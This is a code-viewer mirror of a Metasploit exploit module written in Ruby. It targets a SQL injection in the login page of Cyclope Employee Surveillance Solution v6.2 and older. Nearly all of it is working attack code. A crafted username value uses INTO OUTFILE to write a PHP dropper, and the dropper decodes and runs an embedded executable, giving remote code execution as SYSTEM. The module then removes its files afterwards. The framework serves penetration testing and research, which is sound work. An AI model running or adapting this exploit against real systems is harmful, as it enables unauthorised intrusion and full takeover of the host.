Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/cyclope_ess_sqli.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::EXE
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => "Cyclope Employee Surveillance Solution v6 SQL Injection",
17
'Description' => %q{
18
This module exploits a SQL injection found in Cyclope Employee Surveillance
19
Solution. Because the login script does not properly handle the user-supplied
20
username parameter, a malicious user can manipulate the SQL query, and allows
21
arbitrary code execution under the context of 'SYSTEM'.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [
25
'loneferret', # Original discovery, PoC
26
'sinn3r' # Metasploit
27
],
28
'References' => [
29
['OSVDB', '84517'],
30
['EDB', '20393']
31
],
32
'Payload' => {
33
'BadChars' => "\x00"
34
},
35
'DefaultOptions' => {
36
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
37
},
38
'Platform' => 'win',
39
'Targets' => [
40
['Cyclope Employee Surveillance Solution v6.2 or older', {}]
41
],
42
'Privileged' => false,
43
'DisclosureDate' => '2012-08-08',
44
'DefaultTarget' => 0,
45
'Notes' => {
46
'Reliability' => UNKNOWN_RELIABILITY,
47
'Stability' => UNKNOWN_STABILITY,
48
'SideEffects' => UNKNOWN_SIDE_EFFECTS
49
}
50
)
51
)
52
53
register_options(
54
[
55
OptPort.new('RPORT', [true, "The web application's port", 7879]),
56
OptString.new('TARGETURI', [true, 'The base path to to the web application', '/'])
57
]
58
)
59
60
self.needs_cleanup = true
61
end
62
63
def check
64
peer = "#{rhost}:#{rport}"
65
path = File.dirname("#{target_uri.path}/.")
66
b64_version = get_version(path)
67
if b64_version.empty?
68
vprint_error("Unable to determine the version number")
69
else
70
b64_version = Rex::Text.decode_base64(b64_version)
71
if b64_version =~ /^[0-6]\.1/
72
return Exploit::CheckCode::Appears
73
end
74
end
75
76
return Exploit::CheckCode::Safe
77
end
78
79
def get_version(path)
80
res = send_request_raw({ 'uri' => "#{path}index.php" })
81
return '' if not res
82
83
v = res.body.scan(/\<link rel\=\"stylesheet\" type\=\"text\/css\" href\=\"([\w\=]+)\/css\/.+\" \/\>/).flatten[0]
84
return '' if not v
85
86
return v
87
end
88
89
def on_new_session(cli)
90
if cli.type != 'meterpreter'
91
print_error("Please remember to manually remove #{@exe_fname} and #{@php_fname}")
92
return
93
end
94
95
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
96
97
begin
98
print_warning("Deleting #{@php_fname}")
99
cli.fs.file.rm(@php_fname)
100
rescue ::Exception => e
101
print_error("Please note: #{@php_fname} is stil on disk.")
102
end
103
104
begin
105
print_warning("Deleting #{@exe_fname}")
106
cli.fs.file.rm(@exe_fname)
107
rescue ::Exception => e
108
print_error("Please note: #{@exe_fname} is still on disk.")
109
end
110
end
111
112
def get_php_payload(fname)
113
p = Rex::Text.encode_base64(generate_payload_exe)
114
php = %Q|
115
<?php
116
$f = fopen("#{fname}", "wb");
117
fwrite($f, base64_decode("#{p}"));
118
fclose($f);
119
exec("#{fname}");
120
?>
121
|
122
php = php.gsub(/^ {4}/, '').gsub(/\n/, ' ')
123
return php
124
end
125
126
def exploit
127
peer = "#{rhost}:#{rport}"
128
path = File.dirname("#{target_uri.path}/.")
129
130
#
131
# Need to fingerprint the version number in Base64 for the payload path
132
#
133
b64_version = get_version(path)
134
if b64_version.empty?
135
print_error("Unable to determine the version number")
136
return
137
end
138
139
print_status("Obtained version: #{Rex::Text.decode_base64(b64_version)}")
140
141
#
142
# Prepare our payload (naughty exe embedded in php)
143
#
144
@exe_fname = Rex::Text.rand_text_alpha(6) + '.exe'
145
@php_fname = Rex::Text.rand_text_alpha(6) + '.php'
146
php = get_php_payload(@exe_fname).unpack("H*")[0]
147
sqli = "x' or (SELECT 0x20 into outfile '/Progra~1/Cyclope/#{b64_version}/#{@php_fname}' LINES TERMINATED BY 0x#{php}) and '1'='1"
148
149
#
150
# Inject payload
151
#
152
print_status("Injecting PHP payload...")
153
res = send_request_cgi({
154
'method' => 'POST',
155
'uri' => path,
156
'vars_post' => {
157
'act' => 'auth-login',
158
'pag' => 'login',
159
'username' => sqli,
160
'password' => Rex::Text.rand_text_alpha(5)
161
}
162
})
163
164
#
165
# Load our payload
166
#
167
print_status("Loading payload: #{path}#{b64_version}/#{@php_fname}")
168
send_request_raw({ 'uri' => "#{path}#{b64_version}/#{@php_fname}" })
169
if res and res.code == 404
170
print_error("Server returned 404, the upload attempt probably failed")
171
return
172
end
173
174
handler
175
end
176
end
177
178